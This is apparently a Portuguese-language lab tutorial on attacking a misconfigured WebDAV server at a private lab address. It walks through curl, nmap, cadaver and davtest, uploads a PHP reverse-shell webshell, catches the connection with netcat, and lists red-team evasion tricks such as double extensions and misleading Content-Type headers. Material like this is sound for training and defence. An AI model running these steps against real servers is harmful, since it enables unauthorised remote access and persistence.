🔍 Reconnaissance - Identificando WebDAV
1. Detecção Manual
# Verificar métodos HTTP suportados com curl
curl -i -X OPTIONS
http://192.168.50.3/dav/# Verificar métodos HTTP suportados com NetCat
nc 192.168.50.3 80
host:192.168.50.3
# Extra: Tem como fazer com o Nmap
nmap -p 80,443 --script http-webdav-scan,http-methods 192.168.50.3
Podemos verificas os métodos HTTP aceitos. 💻 Prática:
🔍 Verificando a aplicação
Aplicação sem nenhum arquivo no webdav. Tudo bem até agora.
⚔️ Vetores de Ataque Principais
1. Upload de Arquivos Maliciosos
Cenário: WebDAV mal configurado permite upload de arquivos executáveis.
# Testar upload de arquivo
curl -X PUT http://192.168.50.3/dav/baseti.txt -d "teste de upload"
# Upload de webshell PHP
curl -X PUT http://192.168.50.3/dav/shell.php -d "
"
🎬 Olha o VAR
🔍Verificando a aplicação
Será que conseguimos enviar arquivos para a aplicação?

Conseguimos, conforme evidência acima.
🛠️ Ferramentas Especializadas
1. Cadaver (Cliente WebDAV)
# Conectar ao servidor
cadaver http://192.168.50.3/dav/
# Comandos dentro do cadaver:
dav:/webdav/> ls # Listar arquivos
dav:/webdav/> put shell.php # Upload arquivo
dav:/webdav/> get sensitive.txt # Download arquivo
dav:/webdav/> delete old.txt # Deletar arquivo
2. DavTest (Teste automatizado)
# Testar upload de vários tipos de arquivo
davtest -url http://192.168.50.3/dav/
# Com credenciais
davtest -auth user:pass -url http://target.com/webdav/
Esse comando davtest é bom para verificar que tipo de arquivo são aceitos:
Bem , já sabemos que podemos fazer upload de arquivos php, html e txt. Agora vamos para exploração.
🎯 Explorar
Iremos subir um webshell em php.
# Encontrar o WebShell
cd/usr/share/webshells/php
ls /usr/share/webshells/php
# Editar o arquivo php-reverse-shell.php
cp php-reverse-shell.php /tmp; cd /tmp
vim php-reverse-shell.php
# Alterar as opções $ip e $port inserindo o IP do no nosso Kali e uma porta que irá receber a conexão:
$port= '7777';
# Subir o arquivo para o servidor usando o cadaver
put /tmp/php-reverse-shell.php
# Acessar a página do WebDAV e verificar se o arquivo está lá:
# Quase pronto!
🎯 Preparando o NetCat para receber a conexão
# Iniciando o netcat para receber conexões na porta 7777. A porta que definimos no arquivo php-reverse-shell.php
# Ir na aplicação e clicar no arquivo enviado. Agora a magia acontece.

# Recebemos um shell. Limitado, mas recebemos. O próximo passo seria escalar privilégios. Mas isso é um tema para outra conversa.
E o que o OWASP nos diz sobre esse tema:
📊 Mapeamento OWASP Top 10
A01:2021 - Broken Access Control
- Upload sem autenticação
- Bypass de controles de autorização
- Escalação de privilégios via upload
A03:2021 - Injection
- Code injection via arquivos uploaded
- Command injection através de webshells
- Script injection em arquivos executáveis
A05:2021 - Security Misconfiguration
- WebDAV habilitado por padrão
- Configurações inseguras do servidor
- Falta de hardening adequado
A08:2021 - Software and Data Integrity Failures
- Falta de validação de integridade de arquivos
- Ausência de verificação de assinatura digital
- Upload de componentes não confiáveis
🔐 Para você que só acredita vendo
💡 Considerações finais para Red Team
Por que WebDAV é um alvo atrativo:
- Frequentemente esquecido em auditorias de segurança
- Configuração padrão insegura em muitos servidores
- Bypass fácil de controles de upload tradicionais
- Persistência através de webshells
- Living-off-the-land - usa funcionalidade legítima
Técnicas de evasão específicas:
- Upload com extensão dupla (.php.txt)
- Uso de headers Content-Type enganosos
- Métodos HTTP alternativos (MOVE, COPY)
- Unicode encoding em nomes de arquivo
A vulnerabilidade WebDAV representa uma combinação crítica de falhas de configuração, controle de acesso e validação de entrada, tornando-se um vetor de ataque altamente efetivo para operações red team.